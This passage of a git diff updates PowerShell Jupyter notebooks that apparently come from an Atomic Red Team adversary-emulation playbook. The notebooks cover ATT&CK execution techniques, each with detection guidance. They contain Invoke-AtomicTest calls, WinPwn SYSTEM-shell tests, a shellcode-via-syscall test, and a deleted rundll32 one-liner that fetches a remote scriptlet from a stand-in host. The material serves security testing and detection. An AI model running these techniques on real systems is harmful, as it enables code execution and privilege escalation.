bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)" - }, - { - "cell_type": "markdown", - "id": "ae5cd991", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "355fd945", - "metadata": {}, - "source": "## Detection\nScripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1072.ipynb b/playbook/tactics/execution/T1072.ipynb index 269ae21a..dfee4d8c 100644 --- a/playbook/tactics/execution/T1072.ipynb +++ b/playbook/tactics/execution/T1072.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "16f47947", + "id": "7bb100cc", "metadata": {}, - "source": "# T1072 - Software Deployment Tools\nAdversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose." + "source": "# T1072 - Software Deployment Tools\nAdversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). \n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. Network infrastructure may also have administration tools that can be similarly abused by adversaries. (Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose." }, { "cell_type": "markdown", - "id": "7db6903a", + "id": "f3d47d39", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b0cd92d5", + "id": "2a2fc38b", "metadata": {}, - "source": "### Atomic Test #1 - Radmin Viewer Utility\nAn adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Radmin Viewer Utility must be installed at specified location (#{radmin_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"${env:ProgramFiles(x86)}/Radmin Viewer 3/Radmin.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Downloading radmin installer\n(New-Object Net.WebClient).DownloadFile(\"https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi\",\"$ENV:Temp\\RadminViewer.msi\")\nWrite-Host Install Radmin\nStart-Process msiexec -Wait -ArgumentList /i , $ENV:Temp\\RadminViewer.msi, /qn\n\n```" + "source": "### Atomic Test #1 - Radmin Viewer Utility\nAn adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Radmin Viewer Utility must be installed at specified location (#{radmin_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"${env:ProgramFiles(x86)}/Radmin Viewer 3/Radmin.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Downloading radmin installer\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\RadminViewer.msi\"\nWrite-Host Install Radmin\nStart-Process msiexec -Wait -ArgumentList /i , \"PathToAtomicsFolder\\..\\ExternalPayloads\\RadminViewer.msi\", /qn\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d7d4cf5a", + "id": "8c6d5e6e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1072 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f11373b0", + "id": "4ca66c05", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "01311aba", + "id": "f2b69855", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1072 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d83c62db", + "id": "4c59a85e", "metadata": {}, - "source": "### Atomic Test #2 - PDQ Deploy RAT\nAn adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"${env:ProgramFiles(x86)}/Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Downloading PDQ Deploy installer\n(New-Object Net.WebClient).DownloadFile(\"https://download.pdq.com/release/19/Deploy_19.3.350.0.exe\",\"$ENV:Temp\\PDQDeploysetup.exe\")\nWrite-Host Install PDQ Deploy\nStart-Process $ENV:Temp\\PDQDeploysetup.exe -Wait -ArgumentList \"/s\"\n\n```" + "source": "### Atomic Test #2 - PDQ Deploy RAT\nAn adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"${env:ProgramFiles(x86)}/Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Downloading PDQ Deploy installer\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.pdq.com/release/19/Deploy_19.3.350.0.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PDQDeploysetup.exe\"\nWrite-Host Install PDQ Deploy\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\PDQDeploysetup.exe\" -Wait -ArgumentList \"/s\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4522e936", + "id": "1e72f3b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1072 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2df2145a", + "id": "b5544098", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -69,20 +69,20 @@ { "cell_type": "code", "execution_count": null, - "id": "28f0e345", + "id": "797d2ccb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1072 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "a4256718", + "id": "aa50c5f5", "metadata": {}, "source": "## Detection\nDetection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system." }, { "cell_type": "markdown", - "id": "3e3ea04b", + "id": "0e774ead", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can deploy a decoy software deployment tool within an adversary engagement environment to see how the adversary attempts to use the device during their activity.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -90,13 +90,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1085.ipynb b/playbook/tactics/execution/T1085.ipynb deleted file mode 100644 index d7202dba..00000000 --- a/playbook/tactics/execution/T1085.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "6cdc9e34", - "metadata": {}, - "source": "# T1085 - Rundll32\nThe rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)" - }, - { - "cell_type": "markdown", - "id": "466e788b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "baa829f8", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1086.ipynb b/playbook/tactics/execution/T1086.ipynb deleted file mode 100644 index f037a521..00000000 --- a/playbook/tactics/execution/T1086.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "ae5384b1", - "metadata": {}, - "source": "# T1086 - PowerShell\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)" - }, - { - "cell_type": "markdown", - "id": "ebd1633f", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "02c076e2", - "metadata": {}, - "source": "## Detection\nIf proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1106.ipynb b/playbook/tactics/execution/T1106.ipynb index e7d52bcb..84952bb4 100644 --- a/playbook/tactics/execution/T1106.ipynb +++ b/playbook/tactics/execution/T1106.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "d5df2c5b", + "id": "f24a6b2b", "metadata": {}, - "source": "# T1106 - Native API\nAdversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001))." + "source": "# T1106 - Native API\nAdversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)." }, { "cell_type": "markdown", - "id": "80ac01c4", + "id": "c2ed1a4c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "280e33a1", + "id": "89357d1e", "metadata": {}, - "source": "### Atomic Test #1 - Execution through API - CreateProcess\nExecute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{source_file} must exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1106/src/CreateProcess.cs\" -OutFile \"PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs\"\n\n```" + "source": "### Atomic Test #1 - Execution through API - CreateProcess\nExecute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{source_file} must exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1106/src/CreateProcess.cs\" -OutFile \"PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ec183f4f", + "id": "745f3ec8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1106 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9e3f27c7", + "id": "b2f2e89d", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /out:\"%tmp%\\T1106.exe\" /target:exe PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs\n%tmp%/T1106.exe\n```" + "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /out:\"%tmp%\\T1106.exe\" /target:exe \"PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs\"\n%tmp%/T1106.exe\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9abd116d", + "id": "545dae7e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1106 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c58475e1", + "id": "3c79fdf3", "metadata": {}, "source": [ "### Atomic Test #2 - WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique", @@ -58,14 +58,14 @@ { "cell_type": "code", "execution_count": null, - "id": "24b9c327", + "id": "1889098b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1106 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7c0f8c52", + "id": "d6708217", "metadata": {}, "source": [ "### Atomic Test #3 - WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique", @@ -78,14 +78,14 @@ { "cell_type": "code", "execution_count": null, - "id": "43b07df5", + "id": "ff2e06e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1106 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "19a7af91", + "id": "e3f13354", "metadata": {}, "source": [ "### Atomic Test #4 - WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique", @@ -98,20 +98,55 @@ { "cell_type": "code", "execution_count": null, - "id": "4b104582", + "id": "b6c2196c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1106 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "4035b129", + "id": "987efc76", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Run Shellcode via Syscall in Go", + "Runs shellcode in the current running process via a syscall.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Use syscall to execute the entrypoint of the shellcode\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$PathToAtomicsFolder\\T1106\\bin\\x64\\syscall.exe -debug\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7b6e5a11", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1106 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "ede4483f", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name CalculatorApp -ErrorAction SilentlyContinue```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "96ecec9d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1106 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "350117bf", "metadata": {}, "source": "## Detection\nMonitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. " }, { "cell_type": "markdown", - "id": "68add1ef", + "id": "1c58c5c0", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can modify system calls to break communications, route things to decoy systems, prevent full execution, etc.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -119,13 +154,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1117.ipynb b/playbook/tactics/execution/T1117.ipynb deleted file mode 100644 index e9ca736a..00000000 --- a/playbook/tactics/execution/T1117.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "ad73cceb", - "metadata": {}, - "source": "# T1117 - Regsvr32\nRegsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)" - }, - { - "cell_type": "markdown", - "id": "4c1134d9", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "6ce84d8d", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1118.ipynb b/playbook/tactics/execution/T1118.ipynb deleted file mode 100644 index bd49f23c..00000000 --- a/playbook/tactics/execution/T1118.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "5d2df284", - "metadata": {}, - "source": "# T1118 - InstallUtil\nInstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)" - }, - { - "cell_type": "markdown", - "id": "41364622", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", 